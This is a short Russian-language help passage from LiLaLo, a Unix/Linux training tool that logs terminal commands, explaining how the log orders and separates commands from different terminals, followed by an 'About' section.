  19. Команды в журнале расположены в хронологическом порядке. Если две команды давались одна за другой, но на разных терминалах, в журнале они будут рядом, даже если они не имеют друг к другу никакого отношения.
    1
        2
    3   
        4
    
    Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.

О программе

LiLaLo (L3) расшифровывается как Live Lab Log.
Программа разработана для повышения эффективности обучения Unix/Linux-системам.
(c) Игорь Чубин, 2004-2008

$Id$